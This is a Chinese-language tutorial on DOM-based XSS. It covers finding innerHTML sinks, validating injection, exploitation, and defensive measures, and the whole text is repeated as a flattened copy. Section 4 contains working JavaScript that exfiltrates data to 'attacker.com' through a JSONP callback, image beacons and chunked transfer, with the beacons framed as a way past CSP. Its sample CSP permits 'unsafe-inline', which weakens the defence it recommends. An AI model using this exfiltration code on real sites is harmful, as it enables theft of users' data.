DOM型XSS深度渗透实战
字数 1325 2025-09-01 11:26:17

DOM型XSS深度渗透实战教学文档

1. 概述

DOM型XSS(Cross-Site Scripting)是一种特殊类型的XSS漏洞,其特点是恶意代码的执行完全发生在客户端,不经过服务器端处理。本教学文档将详细讲解如何发现、验证和利用DOM型XSS漏洞,包括绕过防御机制和数据外泄的高级技术。

2. 漏洞发现

2.1 静态代码审计

关键检查点:

  • 查找使用innerHTMLouterHTMLdocument.write等危险DOM操作方法
  • 检查动态内容渲染点,特别是从后端API获取的数据直接渲染到页面
  • 识别不受信任的数据源(URL参数、localStorage、cookie等)

漏洞代码特征:

// 危险示例:直接将API响应渲染到DOM
fetch('/api/getAppInfo')
  .then(response => response.json())
  .then(data => {
    document.getElementById('appInfo').innerHTML = data.appName;
  });

2.2 漏洞成因分析

  1. 信任后端返回数据:前端无条件信任后端API返回的数据,未进行任何消毒处理
  2. 危险DOM操作:使用.innerHTML渲染不可控内容,导致HTML标签和JavaScript被执行
  3. 安全头缺失:API响应头缺少X-Content-Type-Options: nosniff等安全防护头
  4. 漏洞链:后端JSON接口 → 前端innerHTML渲染 → DOM解析执行

3. 漏洞验证

3.1 基本验证Payload

// 触发XSS的基本Payload

3.2 验证步骤

  1. 拦截API请求,修改响应中的appName字段
  2. 插入测试Payload:``
  3. 观察浏览器是否执行alert弹窗
  4. 确认执行上下文和可访问的DOM对象

4. 高级利用技术

4.1 绕过同源策略

技术1:JSONP协议(跨域数据劫持)

// 构造恶意JSONP请求获取跨域数据
function stealData(data) {
  // 将数据发送到攻击者服务器
  new Image().src = 'https://attacker.com/steal?data=' + encodeURIComponent(JSON.stringify(data));
}

const script = document.createElement('script');
script.src = 'https://victim.com/api/userInfo?callback=stealData';
document.body.appendChild(script);

4.2 突破CSP防御

技术2:图片信标突破(隐蔽+长度优化)

// 使用图片信标外带数据,规避CSP限制
function exfilData(data) {
  const img = new Image();
  // 将数据分段编码到URL中
  img.src = `https://attacker.com/log?${btoa(data).substr(0, 2000)}`;
}

4.3 混合传输模式

技术3:随机切换JSONP/Image传输

// 根据数据大小自动选择传输方式
function exfiltrate(data) {
  const dataStr = JSON.stringify(data);
  if (dataStr.length < 1000) {
    // 小数据使用JSONP
    const script = document.createElement('script');
    script.src = `https://attacker.com/jsonp?callback=receive&data=${encodeURIComponent(dataStr)}`;
    document.body.appendChild(script);
  } else {
    // 大数据使用图片信标
    const chunks = chunkString(dataStr, 2000);
    chunks.forEach(chunk => {
      new Image().src = `https://attacker.com/img?${encodeURIComponent(chunk)}`;
    });
  }
}

5. 数据外泄技术总结

技术 优点 缺点 适用场景
JSONP协议 可获取完整JSON数据 需要目标使用JSONP 跨域数据窃取
图片信标 绕过CSP限制,隐蔽 URL长度限制 大数据分段传输
WebSocket 实时双向通信 可能被防火墙拦截 持续数据窃取
Fetch API 支持各种HTTP方法 受同源策略限制 同域数据窃取

6. 防御措施

6.1 开发层面

  1. 输入消毒

    // 使用DOMPurify等库进行HTML消毒
    const clean = DOMPurify.sanitize(untrustedHTML);
    document.getElementById('target').innerHTML = clean;
    
  2. 安全DOM操作

    // 使用textContent代替innerHTML
    document.getElementById('target').textContent = untrustedData;
    
  3. 内容安全策略(CSP)

    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; img-src 'self' data:
    

6.2 运维层面

  1. 安全头设置

    X-Content-Type-Options: nosniff
    X-Frame-Options: DENY
    X-XSS-Protection: 1; mode=block
    
  2. API防护

    • 对所有API响应进行HTML实体编码
    • 设置Content-Type: application/json
    • 实现CSRF保护

7. 漏洞挖掘方法论

  1. 数据流追踪:从用户输入点到最终渲染点的完整路径分析
  2. DOM修改监控:使用DevTools监控DOM修改事件
  3. 自动化扫描:结合Burp Suite、ZAP等工具进行半自动化测试
  4. 变异测试:对输入参数进行各种编码和变形测试

8. 总结

DOM型XSS因其客户端特性往往被低估,但通过精心构造的攻击链可以实现与存储型XSS相同的危害。防御需要开发、运维和安全团队的协同努力,从代码编写到部署配置的全生命周期防护。

DOM型XSS深度渗透实战教学文档 1. 概述 DOM型XSS(Cross-Site Scripting)是一种特殊类型的XSS漏洞,其特点是恶意代码的执行完全发生在客户端,不经过服务器端处理。本教学文档将详细讲解如何发现、验证和利用DOM型XSS漏洞,包括绕过防御机制和数据外泄的高级技术。 2. 漏洞发现 2.1 静态代码审计 关键检查点: 查找使用 innerHTML 、 outerHTML 、 document.write 等危险DOM操作方法 检查动态内容渲染点,特别是从后端API获取的数据直接渲染到页面 识别不受信任的数据源(URL参数、localStorage、cookie等) 漏洞代码特征: 2.2 漏洞成因分析 信任后端返回数据 :前端无条件信任后端API返回的数据,未进行任何消毒处理 危险DOM操作 :使用 .innerHTML 渲染不可控内容,导致HTML标签和JavaScript被执行 安全头缺失 :API响应头缺少 X-Content-Type-Options: nosniff 等安全防护头 漏洞链 :后端JSON接口 → 前端innerHTML渲染 → DOM解析执行 3. 漏洞验证 3.1 基本验证Payload 3.2 验证步骤 拦截API请求,修改响应中的appName字段 插入测试Payload: `` 观察浏览器是否执行alert弹窗 确认执行上下文和可访问的DOM对象 4. 高级利用技术 4.1 绕过同源策略 技术1:JSONP协议(跨域数据劫持) 4.2 突破CSP防御 技术2:图片信标突破(隐蔽+长度优化) 4.3 混合传输模式 技术3:随机切换JSONP/Image传输 5. 数据外泄技术总结 | 技术 | 优点 | 缺点 | 适用场景 | |------|------|------|----------| | JSONP协议 | 可获取完整JSON数据 | 需要目标使用JSONP | 跨域数据窃取 | | 图片信标 | 绕过CSP限制,隐蔽 | URL长度限制 | 大数据分段传输 | | WebSocket | 实时双向通信 | 可能被防火墙拦截 | 持续数据窃取 | | Fetch API | 支持各种HTTP方法 | 受同源策略限制 | 同域数据窃取 | 6. 防御措施 6.1 开发层面 输入消毒 : 安全DOM操作 : 内容安全策略(CSP) : 6.2 运维层面 安全头设置 : API防护 : 对所有API响应进行HTML实体编码 设置 Content-Type: application/json 头 实现CSRF保护 7. 漏洞挖掘方法论 数据流追踪 :从用户输入点到最终渲染点的完整路径分析 DOM修改监控 :使用DevTools监控DOM修改事件 自动化扫描 :结合Burp Suite、ZAP等工具进行半自动化测试 变异测试 :对输入参数进行各种编码和变形测试 8. 总结 DOM型XSS因其客户端特性往往被低估,但通过精心构造的攻击链可以实现与存储型XSS相同的危害。防御需要开发、运维和安全团队的协同努力,从代码编写到部署配置的全生命周期防护。